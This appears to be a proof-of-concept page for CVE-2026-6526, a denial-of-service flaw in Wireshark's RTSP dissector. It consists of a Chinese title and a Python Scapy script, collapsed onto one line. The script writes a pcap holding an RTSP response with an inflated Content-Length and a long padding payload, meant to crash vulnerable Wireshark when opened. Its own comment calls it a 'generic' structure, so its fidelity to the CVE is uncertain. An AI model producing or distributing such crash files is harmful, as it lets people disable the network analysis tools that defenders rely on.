CVE-2026-6526 Wireshark RTSP协议解析器拒绝服务漏洞

from scapy.all import * import sys # Define a crafted packet targeting RTSP def generate_malicious_pcap(filename): # Create a TCP packet with a crafted payload to simulate malicious RTSP traffic # This is a generic PoC structure for a dissector crash. payload = b"RTSP/1.0 200 OK\r\n" + b"CSeq: 1\r\n" + b"Content-Length: 99999999\r\n\r\n" + b"A" * 10000 packet = IP(dst="127.0.0.1")/TCP(dport=554, sport=12345)/Raw(load=payload) # Save the packet to a pcap file wrpcap(filename, packet) print(f"[+] Malicious pcap file generated: {filename}") print("[+] Open this file in Wireshark (vulnerable versions) to reproduce the crash.") if __name__ == "__main__": generate_malicious_pcap("cve_2026_6526.pcap")